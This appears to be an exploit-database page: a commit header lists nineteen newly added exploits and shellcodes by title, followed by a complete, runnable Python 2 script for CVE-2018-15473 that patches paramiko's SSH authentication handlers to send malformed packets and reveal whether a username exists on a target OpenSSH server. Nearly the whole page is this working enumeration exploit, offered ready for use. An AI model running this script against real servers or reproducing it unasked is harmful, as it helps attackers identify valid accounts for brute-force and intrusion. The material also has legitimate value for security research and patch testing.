60710bbfd9
19 changes to exploits/shellcodes Microsoft Lync for Mac 2011 - Injection Forced Browsing/Download Wireshark - 'cdma2k_message_ACTIVE_SET_RECORD_FIELDS' Stack Corruption Wireshark - 'find_signature' Heap Out-of-Bounds Read Xorg X11 Server (AIX) - Local Privilege Escalation Emacs - movemail Privilege Escalation (Metasploit) OpenSSH < 7.7 - User Enumeration (2) HP Intelligent Management - Java Deserialization RCE (Metasploit) Rockwell Automation Allen-Bradley PowerMonitor 1000 - Incorrect Access Control Authentication Bypass DomainMOD 4.11.01 - Owner name Field Cross-Site Scripting NEC Univerge Sv9100 WebPro - 6.00 - Predictable Session ID / Clear Text Password Storage KeyBase Botnet 1.5 - SQL Injection Dolibarr ERP/CRM 8.0.3 - Cross-Site Scripting DomainMOD 4.11.01 - Custom Domain Fields Cross-Site Scripting DomainMOD 4.11.01 - Custom SSL Fields Cross-Site Scripting NUUO NVRMini2 3.9.1 - Authenticated Command Injection DomainMOD 4.11.01 - Registrar Cross-Site Scripting FreshRSS 1.11.1 - Cross-Site Scripting Linux/x86 - /usr/bin/head -n99 cat etc/passwd Shellcode (61 Bytes) Linux/x64 - Reverse (0.0.0.0:1907/TCP) Shell Shellcode (119 Bytes)
66 lines
No EOL
2.3 KiB
Python
Executable file
66 lines
No EOL
2.3 KiB
Python
Executable file
#!/usr/bin/env python2
|
|
# CVE-2018-15473 SSH User Enumeration by Leap Security (@LeapSecurity) https://leapsecurity.io
|
|
# Credits: Matthew Daley, Justin Gardner, Lee David Painter
|
|
|
|
|
|
import argparse, logging, paramiko, socket, sys, os
|
|
|
|
class InvalidUsername(Exception):
|
|
pass
|
|
|
|
# malicious function to malform packet
|
|
def add_boolean(*args, **kwargs):
|
|
pass
|
|
|
|
# function that'll be overwritten to malform the packet
|
|
old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[
|
|
paramiko.common.MSG_SERVICE_ACCEPT]
|
|
|
|
# malicious function to overwrite MSG_SERVICE_ACCEPT handler
|
|
def service_accept(*args, **kwargs):
|
|
paramiko.message.Message.add_boolean = add_boolean
|
|
return old_service_accept(*args, **kwargs)
|
|
|
|
# call when username was invalid
|
|
def invalid_username(*args, **kwargs):
|
|
raise InvalidUsername()
|
|
|
|
# assign functions to respective handlers
|
|
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = service_accept
|
|
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = invalid_username
|
|
|
|
# perform authentication with malicious packet and username
|
|
def check_user(username):
|
|
sock = socket.socket()
|
|
sock.connect((args.target, args.port))
|
|
transport = paramiko.transport.Transport(sock)
|
|
|
|
try:
|
|
transport.start_client()
|
|
except paramiko.ssh_exception.SSHException:
|
|
print '[!] Failed to negotiate SSH transport'
|
|
sys.exit(2)
|
|
|
|
try:
|
|
transport.auth_publickey(username, paramiko.RSAKey.generate(2048))
|
|
except InvalidUsername:
|
|
print "[-] {} is an invalid username".format(username)
|
|
sys.exit(3)
|
|
except paramiko.ssh_exception.AuthenticationException:
|
|
print "[+] {} is a valid username".format(username)
|
|
|
|
# remove paramiko logging
|
|
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
|
|
|
|
parser = argparse.ArgumentParser(description='SSH User Enumeration by Leap Security (@LeapSecurity)')
|
|
parser.add_argument('target', help="IP address of the target system")
|
|
parser.add_argument('-p', '--port', default=22, help="Set port of SSH service")
|
|
parser.add_argument('username', help="Username to check for validity.")
|
|
|
|
if len(sys.argv) == 1:
|
|
parser.print_help()
|
|
sys.exit(1)
|
|
|
|
args = parser.parse_args()
|
|
|
|
check_user(args.username) |